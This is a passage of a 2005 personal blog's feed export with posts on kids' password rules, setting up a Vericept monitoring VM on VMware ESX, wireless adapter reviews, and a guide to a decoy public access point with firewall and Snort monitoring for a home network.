&lt;ol&gt;&lt;li&gt; Levels of Security &lt;/li&gt;&lt;li&gt; Need v. Complexity &lt;/li&gt;&lt;li&gt; Linksys Example &lt;/li&gt;&lt;/ol&gt; &lt;/li&gt;&lt;li&gt; Links &lt;/li&gt;&lt;li&gt; Contact &lt;/li&gt;&lt;/ol&gt;  &lt;hr /&gt;  &lt;p&gt; &lt;a href="http://www.informationweek.com/shared/printableArticle.jhtml?articleID=174918761" mce_href="http://www.informationweek.com/shared/printableArticle.jhtml?articleID=174918761"&gt;Wireless Alphabet Soup&lt;/a&gt; &lt;/p&gt;  &lt;p&gt; &lt;a href="http://www.informationweek.com/shared/printableArticle.jhtml?articleID=174917504" mce_href="http://www.informationweek.com/shared/printableArticle.jhtml?articleID=174917504"&gt;Ubiquitous Municipal Coverage Initiatives&lt;/a&gt; &lt;/p&gt;  &lt;p&gt; &lt;a href="http://192.168.4.10/wiki/index.php?Public%20Wireless%20Diversion" mce_href="wiki/index.php?Public%20Wireless%20Diversion"&gt;&lt;br /&gt;&lt;/a&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-1395207959857399397?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/1395207959857399397/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=1395207959857399397' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/1395207959857399397'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/1395207959857399397'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2005/12/wireless-overview-notes.html' title='Wireless Overview Notes'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-3956807518084569850</id><published>2005-09-12T03:00:00.000-04:00</published><updated>2008-01-26T19:04:58.835-05:00</updated><title type='text'>Password Rules for Kids</title><content type='html'>A decent password policy for kids and, frankly, most users.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;from &lt;a href="http://www.kidzonline.org/teachit/se/PasswordCreation.htm" mce_href="http://www.kidzonline.org/teachit/se/PasswordCreation.htm"&gt;KidzOnline&lt;/a&gt;&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;hr /&gt;  &lt;p&gt; Password Creation &lt;/p&gt; &lt;p&gt; Chapter 1 &lt;/p&gt; &lt;p&gt; 1. Passwords are crucial in keeping your personal information confidential and your computer system secure. &lt;/p&gt; &lt;p&gt; 2. Sharing your passwords: &lt;/p&gt; &lt;pre&gt;    * can allow people access to your email and other sensitive files&lt;br /&gt;   * can cause you to lose access to saved files and private information&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; 3. To be TRULY secure, every password needs to be different. &lt;/p&gt; &lt;p&gt; 4. Use different passwords for different levels of security: &lt;/p&gt; &lt;pre&gt;    * Level 1 – routine downloads and product registrations&lt;br /&gt;   * Level 2 – e-mail accounts and operating systems&lt;br /&gt;   * Level 3 – bank accounts, online auctions, administrative logins&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; Chapter 2 &lt;/p&gt; &lt;p&gt; 5. To ensure your password remains secret: &lt;/p&gt; &lt;pre&gt;    * memorize your password&lt;br /&gt;   * if you have to write it down, keep it on you&lt;br /&gt;   * don’t leave your password where its easy to find it&lt;br /&gt;&lt;/pre&gt; &lt;p&gt; 6. Password basics: &lt;/p&gt; &lt;pre&gt;    * do not share your passwords with anyone&lt;br /&gt;   * make them impossible to guess&lt;br /&gt;   * create different passwords&lt;br /&gt;   * try to memorize your password&lt;br /&gt;   * do not write them down&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-3956807518084569850?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/3956807518084569850/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=3956807518084569850' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/3956807518084569850'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/3956807518084569850'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2005/09/password-rules-for-kids.html' title='Password Rules for Kids'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-7276602736130723104</id><published>2005-07-08T03:00:00.000-04:00</published><updated>2008-01-26T20:12:02.364-05:00</updated><title type='text'>Creating a Vericept Instance in VMWare</title><content type='html'>&lt;p&gt; Here's the generic host creation VM documentation with the promiscuous NIC setup and drive conversion sections. Here's a better structure below: &lt;/p&gt; &lt;ul&gt;&lt;li&gt; Determine customer platform (Vmware version: ESX v?, workstation, gsx, etc) and total space dedicated for this VM. &lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt; Create the VM in workstation with the total space defined as the MAXIMUM. Allow for auto-expansion of the disk to maximum. This will yield about a 6 GB partition. This was done correctly the first time. &lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt; Compress this final disk image with a file utility appropriate to the receiving host machine. Windows = winzip or windows compress utility. ESX, Linux = Tar/Gzip. &lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt; Burn to disk and ship. Be ready to have this available via FTP should the disk be damaged in transit. Include a document with step-by-step installation instructions from disc to image, through conversion, into VM setup and promiscuous port settings. &lt;/li&gt;&lt;/ul&gt; &lt;p&gt; &lt;i&gt;On the receiving end (ESX ONLY):&lt;/i&gt; &lt;/p&gt; &lt;ul&gt;&lt;li&gt; copy the compressed file from DVD and uncompress/untar it to the /vmfs directory of an ESX box (handles large files well). &lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt; Run the disk conversion process. &lt;/li&gt;&lt;/ul&gt; &lt;p&gt; vmkfstools –i &lt;path/original_file&gt; vmhba:&lt;a href="http://192.168.4.10/wiki/index.php?X" mce_href="wiki/index.php?X"&gt;X&lt;/a&gt;:&lt;a href="http://192.168.4.10/wiki/index.php?X" mce_href="wiki/index.php?X"&gt;X&lt;/a&gt;:&lt;a href="http://192.168.4.10/wiki/index.php?X" mce_href="wiki/index.php?X"&gt;X&lt;/a&gt;:&lt;a href="http://192.168.4.10/wiki/index.php?X" mce_href="wiki/index.php?X"&gt;X&lt;/a&gt;:&lt;converted_file&gt;.vmdk &lt;/p&gt; &lt;pre&gt;  Make sure the customer has MAX DISK SPACE _plus_ the 6GB overhead of the original disk file.  When done, delete the old 6GB file.&lt;br /&gt;&lt;/pre&gt; &lt;ul&gt;&lt;li&gt; Create a new VM, define for Linux, name, RAM, etc., and attach the new ("existing") disk you just converted. &lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt; You previously wired the NICs, defined the virtual switches and such so you have a _separate_ production and sensing network connections and virtual switches, right? Add one virtual NIC for this VM connected to the production network's virtual switch. Add one v-NIC connected to the "sensor" v-switch (don't worry about the terminology, it works). The production network can be shared amoung the VMs. The "sensor" network can only be used by Vericept VM and needs a dedicated NIC bound to a dedicated virtual switch within VM. &lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt; Set the "sensor" NIC into promiscuous mode. &lt;/li&gt;&lt;/ul&gt; &lt;p&gt; echo "&lt;a href="http://192.168.4.10/wiki/index.php?PromiscuousAllowed" mce_href="wiki/index.php?PromiscuousAllowed"&gt;PromiscuousAllowed&lt;/a&gt; yes" &gt; /proc/vmware/net/vmnic&lt;a href="http://192.168.4.10/wiki/index.php?X" mce_href="wiki/index.php?X"&gt;X&lt;/a&gt;/config &lt;/p&gt; &lt;ul&gt;&lt;li&gt; Run the VM. &lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt; Test test test &lt;/li&gt;&lt;/ul&gt; &lt;ul&gt;&lt;li&gt; *optional* Log into Paypal.com and send $10 to Drew Hunt (pinowudi@yahoo.com) for his efforts. &lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-7276602736130723104?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/7276602736130723104/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=7276602736130723104' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/7276602736130723104'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/7276602736130723104'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2005/07/creating-vericept-instance-in-vmware.html' title='Creating a Vericept Instance in VMWare'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-7475955804676668600</id><published>2005-06-22T03:00:00.000-04:00</published><updated>2008-01-26T19:02:38.383-05:00</updated><title type='text'>Take Care of Your Laptop</title><content type='html'>&lt;p&gt; Look at what happens when you don't take data security seriously.&lt;/p&gt;&lt;p&gt; &lt;i&gt;from &lt;a href="http://192.168.4.10/wiki/index.php?BlogSpot" mce_href="wiki/index.php?BlogSpot"&gt;BlogSpot&lt;/a&gt;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;a href="http://blastradius.blogspot.com/2005/04/follow-up-professor-exaggerator.html" mce_href="http://blastradius.blogspot.com/2005/04/follow-up-professor-exaggerator.html"&gt;http://blastradius.blogspot.com/2005/04/follow-up-professor-exaggerator.html&lt;/a&gt;&lt;/i&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-7475955804676668600?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/7475955804676668600/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=7475955804676668600' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/7475955804676668600'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/7475955804676668600'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2005/06/take-care-of-your-laptop.html' title='Take Care of Your Laptop'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-6727712754639717311</id><published>2005-04-24T03:00:00.006-04:00</published><updated>2008-01-26T21:09:55.681-05:00</updated><title type='text'>Linksys BEFW11S4</title><content type='html'>&lt;p&gt; I've been using this unit since May 2000 and it's still going strong. There was a brief time in 2003 that the wireless failed to work (just failed to transmit), but it seems to have miraculously healed itself after a couple of resets and a while on the shelf. It is currently used as my "public" AP for granting limited access to guests and passerby to dissuade them from knocking on my "private" AP. &lt;/p&gt; &lt;p&gt; &lt;b&gt;Product Page&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;a href="http://www.linksys.com/support/support.asp?spid=68" mce_href="http://www.linksys.com/support/support.asp?spid=68"&gt;http://www.linksys.com/support/support.asp?spid=68&lt;/a&gt; &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-6727712754639717311?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/6727712754639717311/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=6727712754639717311' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/6727712754639717311'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/6727712754639717311'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2008/01/linksys-befw11s4.html' title='Linksys BEFW11S4'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-1062518516516756768</id><published>2005-04-24T03:00:00.005-04:00</published><updated>2008-01-26T18:56:06.965-05:00</updated><title type='text'>Public Wireless Diversion</title><content type='html'>&lt;p&gt; Many people talk of wireless security in terms of the strength of encryption. However, many access attempts into wireless resources are simply users looking for a free Internet connection. In this model of access aquisition, the intruder will often forgo even weakly secured networks for lower hanging fruit. This article explores the pursuit of wireless security by offering a more enticing target to the prospective rogue client. &lt;/p&gt; &lt;p&gt;Even though unsecured wireless access is highly available in populated areas, it is still pretty sparse in my corner of the States. So, to remove the temptation from the locals looking for a free ride on my production data network, I've set up a public access point for them. The following document offers my tips for a successful diversionary AP and how to ensure you aren't providing a casual hacker a backdoor into your network. &lt;/p&gt; &lt;p&gt; &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_bN8C--FnVhM/R5vGnw0YE7I/AAAAAAAAAAM/-CwIS0E7W0c/s1600-h/wireless_public_honeypot.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_bN8C--FnVhM/R5vGnw0YE7I/AAAAAAAAAAM/-CwIS0E7W0c/s320/wireless_public_honeypot.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5159936184504816562" /&gt;&lt;/a&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;Intent&lt;/b&gt; &lt;/p&gt; &lt;p&gt;This is intended for a home setup or maybe a small business that doesn't pass sensitive data on their wireless network, but doesn't want prying eyes watching their traffic or using their AP as a SPAM relay. This is security through appeasement. To make it work, the freely available network must be more attractive than the protected wireless network. Larger businesses or those handling sensitive data should implement more robust protection for their wireless networks. &lt;/p&gt; &lt;p&gt; &lt;b&gt;Public Access Network&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;i&gt;AP Selection&lt;/i&gt; &lt;/p&gt; &lt;p&gt;To ensure the public network is the most succulent plum, you may want to invest in an AP that is compatible with external antennae. This would allow you to extend the coverage of the public network through the use of high-gain antennaes now available at consumer electronics stores. Having a greater coverage area, the would-be freeloader will strike the public network possibly before they are even aware of your data network. However, for this simple example, any consumer-grade access point will do. &lt;/p&gt; &lt;p&gt; &lt;i&gt;Infrastructure Setup&lt;/i&gt; &lt;/p&gt; &lt;p&gt;The public access infrastructure will require an AP and another routing control device (read "firewall"). If you have a spare box with three NICs, look at Smoothwall (&lt;a href="http://www.smoothwall.org/" mce_href="http://www.smoothwall.org/"&gt;http://www.smoothwall.org&lt;/a&gt;) for an easy out-of-the-box solution. Some modifications to the /etc/rc.d/rc.firewallup script will be necessary to grant the outgoing access to the ORANGE ("Public access" or "DMZ") interface. &lt;/p&gt; &lt;p&gt;The goal here is to allow the most common forms of access without presenting major exposure. This setup will allow common web and email client access, but not email relaying, so a spammer would not be able to abuse the net and get you into trouble. This is not to say that a user wouldn't do something illegal over an approved protocol, like posting kiddie porn to a website using your network. If you are worried about these things, look at an in-line transparent proxy, like SQUID (&lt;a href="http://www.squid-cache.org/" mce_href="http://www.squid-cache.org/"&gt;http://www.squid-cache.org/&lt;/a&gt;), that can let you review where users are going and possibly limit activity you deem inappropriate. &lt;/p&gt; &lt;p&gt; The firewall should limit the egress (outgoing) access of the public network to only necessary protocols. Most users want some basic access to the web, their email and maybe some other apps, like instant messaging. For this example, users of the public net will be limited to web functions (HTTP - TCP 80, HTTPS - TCP 443), email (POP - TCP 110), necessities to make these two work (DNS - UDP 53), and one infrastructure service to get the correct time (NTP - UDP 123). No ingress (incoming) access should be allowed except for the requisite DNS and NTP access as they come in over UDP. Most firewalls can take care of the incoming traffic automatically as it is very common. &lt;/p&gt; &lt;p&gt;Connect the public AP and open the configuration interface. This is commonly a web page on the device. Set the DNS servers to those provided by your ISP. Set the DHCP service on the AP to accept a reasonable number of connections. I allow for 50 users. Set the WAN to a static IP address to the same IP subnet as your firewall interface. Set the firewall interface as the gateway. Save the settings and backup the configuration if possible. Reboot the AP. Test connecting to the AP and make sure the DNS and gateways are set correctly. Try browsing some web pages. &lt;/p&gt; &lt;p&gt;In this example, I've also added a "public" hub between the AP and the firewall so I can easily connect a spare box for traffic analysis with Snort (&lt;a href="http://www.snort.org/" mce_href="http://www.snort.org/"&gt;http://www.snort.org&lt;/a&gt;), data capture of interesting packets (tcpdump), and putting up a honeypot to see if the public net is being abused (Honeyd, &lt;a href="http://192.168.4.10/wiki/index.php?LaBrea" mce_href="wiki/index.php?LaBrea"&gt;LaBrea&lt;/a&gt; Tarpit, netcat, or whatever). These allow me to monitor and determine if the public network is being abused and may need to be taken down for a time or improvements made. This 100Mb/s half-duplex hub won't impact performance as wireless is a half-duplex communication technology that's theoretical maximum throughput (802.11g = 54Mb/s) is about half of the hub's. &lt;/p&gt; &lt;p&gt; &lt;i&gt;Packet Snooping and Legality&lt;/i&gt; &lt;/p&gt; &lt;p&gt;Is it legal to snoop your public access network? Well, you are providing the network with no guarantees of privacy or security. Users of the network have an implicit agreement to whatever terms you impose since they did not seek prior agreement to use the net. How do you know who is using your network or what they did should your ISP accuse you of something? &lt;/p&gt; &lt;p&gt;This can be a very tricky subject, so snoop at your own risk. You may also want to add an in-line transparent proxy that displays a disclaimer notice on the user's first web access. &lt;/p&gt; &lt;p&gt; &lt;i&gt;SSID &amp;amp; Frequency Selection&lt;/i&gt; &lt;/p&gt; &lt;p&gt;802.11b/g only has three non-overlaping channels: 1,6, and 11. The higher channels have higher frequencies, which are more susceptible to interference and attenuation with common household objects. To make your public access net attractive, you want it to have the maximum covage available so users can see it before your protected wireless net. Set the public AP to channel 1. &lt;/p&gt; &lt;p&gt;To ensure scanning users searching for a network understand the intent of this AP, set the SSID to "PUBLIC". This sends a clear message to passerby that this network is provided for their use and further searching/hacking is unnecessary. &lt;/p&gt; &lt;p&gt; &lt;b&gt;Protected Data Network&lt;/b&gt; &lt;/p&gt; &lt;p&gt; &lt;i&gt;AP Selection&lt;/i&gt; &lt;/p&gt; &lt;p&gt;For the private side, use an AP that provides security features appropriate for the sensitivity of the data. Linksys wireless routers provide a good mix of consumer standard protection (old WEP, WPA, WPA-PSK) as well as an outsourced RADIUS authentication scheme for more demanding environments. &lt;/p&gt; &lt;p&gt; &lt;i&gt;Infrastructure Setup&lt;/i&gt; &lt;/p&gt; &lt;p&gt;This is up to you. You may want to monitor the network for intrusions to make sure the security scheme in place is working. However, for a home environment this is probably overkill. Just make sure that every node (computer) using the wireless network has a firewall installed and operating. See the &lt;a href="http://192.168.4.10/wiki/index.php?CentralSyslog" mce_href="wiki/index.php?CentralSyslog"&gt;CentralSyslog&lt;/a&gt; project for more on how to centrally collect logs to monitor firewall and login intrusions.  Also see the &lt;a href="http://192.168.4.10/wiki/index.php?SnortDocumentation" mce_href="wiki/index.php?SnortDocumentation"&gt;SnortDocumentation&lt;/a&gt; project to set up a freely-available intrusion detection system for your network. &lt;/p&gt; &lt;p&gt; &lt;i&gt;SSID &amp;amp; Frequency Selection&lt;/i&gt; &lt;/p&gt; &lt;p&gt; As noted for the public AP, lower frequencies carry farther than higher frequencies. This network should be size-limited to just the coverage area needed. It should also use a channel that will not interfere with the public network in such close proxmity. Since 802.11b/g networks only offer three non-overlapping channels (1,6,11) and public is using channel 1, the data network should use either channel 11 or 6. I recommend channel 11 as it has the weakest area penetration, but I've also found it is more susceptible to microwave oven interference. If your environment is susceptible to these types of interference, channel 6 may work better for you. &lt;/p&gt; &lt;p&gt;When setting your SSID, make it something cryptic that has meaning to you, but doesn't reveal anything about the data or owner of the AP. An example would be 5TIMdN2, for "This is my data network's second access point". The less scanning passerby know about the network, the better. &lt;/p&gt; &lt;p&gt; &lt;i&gt;Security Options&lt;/i&gt; &lt;/p&gt; &lt;p&gt;Almost all consumer access points have basic wireless security options, like MAC filtering and basic encryption. Enable MAC filtering at the very least, identifying all of the legitimate NICs that require access to the protected network. &lt;b&gt;Encryption is HIGHLY recommended&lt;/b&gt; as it sends a clear signal to common passerby that some effort will be needed to gain access to the network. Select a level of encryption appropriate for your data stream. I recommend WPA-PSK for typical home use as it's relatively more difficult to break than WEP, meaning more work and your public access network becomes that much more attractive. Disabling the SSID Broadcast may hide your AP from scanners for a time, but it can also cause association problems for legitimate clients using Wireless Zero Config. &lt;/p&gt; &lt;p&gt; &lt;b&gt;Final Notes&lt;/b&gt; &lt;/p&gt; &lt;p&gt;Remember, this is security through diversion and is not designed to thwart the determined hacker. The most pertinent points I can reinforce about this strategy are &lt;i&gt;make the public access point as open and attractive as possible&lt;/i&gt;, and &lt;i&gt;make the production data network as hard to penetrate as is reasonable for your environment.&lt;/i&gt; &lt;/p&gt; &lt;p&gt; &lt;b&gt;Feedback&lt;/b&gt; &lt;/p&gt; &lt;p&gt; Questions and comments can be sent to pinowudi@yahoo.com &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-1062518516516756768?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/1062518516516756768/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=1062518516516756768' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/1062518516516756768'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/1062518516516756768'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2005/04/public-wireless-diversion.html' title='Public Wireless Diversion'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_bN8C--FnVhM/R5vGnw0YE7I/AAAAAAAAAAM/-CwIS0E7W0c/s72-c/wireless_public_honeypot.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-9199291932822692520</id><published>2005-04-24T03:00:00.004-04:00</published><updated>2008-01-26T18:45:55.647-05:00</updated><title type='text'>Netgear WSG11v1 54Mbs 802.11g PCMCIA Wireless Adapter</title><content type='html'>&lt;i&gt;Tested with Windows XP SP2 and Fedora Core 2&lt;br /&gt;&lt;br /&gt;&lt;/i&gt;&lt;p&gt; This is the only wireless adapter I've owned that doesn't work in either Windows or Linux. The Linux part I can understand since it uses the wlan-ng driver set and it's mostly due to my lack of knowledge of these drivers. Windows is beyond me since it's advertised as being supported for all current versions. &lt;/p&gt; &lt;p&gt;The original driver loaded and worked for a few hours under the Windows Zero Configuration drivers until the laptop hibernated. On resume, the laptop froze in a blue screen of death indicating the WSG11 as the culprit. This was consistent, happening every time without fail. &lt;/p&gt; &lt;p&gt; Searching the Netgear &lt;a href="http://www.netgear.com/" mce_href="http://www.netgear.com/"&gt;http://www.netgear.com&lt;/a&gt; support site revealed a compatibility problem with XP SP2 and provided a beta driver (2.9.??). I downloaded it and reinstalled. The driver interface is much improved, now providing its own driver setup utility, so no more Windows Zero Config. It worked through the first hibernate, but has since caused three blue screens. It's still not production material. &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-9199291932822692520?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/9199291932822692520/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=9199291932822692520' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/9199291932822692520'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/9199291932822692520'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2005/04/netgear-wsg11v1-54mbs-80211g-pcmcia.html' title='Netgear WSG11v1 54Mbs 802.11g PCMCIA Wireless Adapter'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-2424221182737077128</id><published>2005-04-24T03:00:00.003-04:00</published><updated>2008-01-26T18:45:07.818-05:00</updated><title type='text'>SMC 2835 802.11b PCMCIA Client Adapter</title><content type='html'>&lt;i&gt;Tested with Windows XP and Fedora Core 2&lt;br /&gt;&lt;br /&gt;&lt;/i&gt;&lt;p&gt; &lt;b&gt;Windows&lt;/b&gt; &lt;/p&gt; &lt;p&gt; Reception and range are excellent. Simple drivers use the integrated Windows Zero Config for configuration. No vendor-supplied interface. Works well and is simple to install. &lt;/p&gt; &lt;p&gt; &lt;b&gt;Linux&lt;/b&gt; &lt;/p&gt; &lt;p&gt; Unfortunately, the chipset does not have a viable LINUX driver. &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-2424221182737077128?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/2424221182737077128/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=2424221182737077128' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/2424221182737077128'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/2424221182737077128'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2005/04/smc-2835-80211b-pcmcia-client-adapter.html' title='SMC 2835 802.11b PCMCIA Client Adapter'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-6992333704422086949</id><published>2005-04-24T03:00:00.002-04:00</published><updated>2008-01-26T18:44:18.535-05:00</updated><title type='text'>Intel Centrino 802.11b mini-PCI Client Adapter</title><content type='html'>&lt;i&gt;Tested with Windows XP on a Dell Inspiron m600&lt;br /&gt;&lt;br /&gt;&lt;/i&gt;The Centrino works well on startup, but does not survive hibernation and refuses to reactivate without a reboot. Switching from Wireless Zero Config to the Intel configuration tool remedied the blue screen crashing on standby wake. The Intel tool is very well designed, with configuration for every feature of the card and WLAN discovery tools.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-6992333704422086949?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/6992333704422086949/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=6992333704422086949' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/6992333704422086949'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/6992333704422086949'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2005/04/intel-centrino-80211b-mini-pci-client.html' title='Intel Centrino 802.11b mini-PCI Client Adapter'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image 